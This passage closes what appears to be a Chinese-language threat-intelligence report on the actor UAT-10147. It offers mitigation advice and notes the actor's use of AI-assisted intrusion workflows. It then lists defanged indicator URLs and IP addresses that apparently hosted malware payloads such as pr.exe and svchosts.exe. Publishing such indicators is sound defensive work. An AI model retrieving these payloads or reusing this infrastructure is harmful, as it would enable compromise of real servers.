最有效的緩解之道，是消除使此波行動得以大規模擴展的根本原因：曝露的脆弱網頁服務、外洩的 ASP.NET MachineKey、可寫入的網站目錄、過高的 IIS 權限、薄弱的出向流量控制，以及對管理工具濫用的監控不足。由於 UAT-10147 運用 AI 輔助的工作流程來加速漏洞利用與入侵後作業，防守方應假設未來此類攻擊可能更快速、更自動化、也更具適應性。因此，紮實的資產管理、快速修補、機敏資訊保護、最小權限、出向限制與行為監控，遠比僅依賴靜態指標來得可靠。

‍

入侵指標（Indicator of Compromise, IoCs）

Network

https[:]//adminapi[.]tippusoni[.]in/4/pr[.]exe
https[:]//adminapi[.]tippusoni[.]in/4/prcc2[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/prcc2[.]rar
https[:]//adminapi[.]tippusoni[.]in/4/dll[.]zip
https[:]//adminapi[.]tippusoni[.]in/4/user[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/back[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/bai[.]txt
https[:]//adminapi[.]tippusoni[.]in/4/svchosts[.]exe
https[:]//adminapi[.]tippusoni[.]in/5/pr[.]exe
https[:]//adminapi[.]tippusoni[.]in/5/bai[.]txt
https[:]//adminapi[.]tippusoni[.]in/5/svchosts[.]exe
https[:]//kl21177[.]com/1/prcc1[.]rar 
https[:]//kl21177[.]com/1/dll[.]zip
https[:]//kl21177[.]com/1/user[.]bat
http[:]//139[.]180[.]197[.]150:54321/4/pr[.]exe
http[:]//139[.]180[.]197[.]150:54321/4/bai[.]txt
http[:]//139[.]180[.]197[.]150:54321/4/svchosts[.]exe 
139[.]180[.]197[.]150 
18[.]140[.]163[.]186 

Hash

‍

參考資料

• UAT-10147: Chinese-speaking adversary integrates agentic AIinto post-compromise operations
• UAT-10147 Uses AI to Scale Server Attacks, Deploys SPECTREWith EDR Bypass and Linux Rootkit
• UAT-8099: Chinese-speaking cybercrime group targets high-valueIIS for SEO fraud
• ToolShell Fallout: From CVE to Crisis in 48 Hours - SafeSecurity
• UAT-10147 Compromises Web Servers to Deploy BadIIS for SEOFraud and Data Theft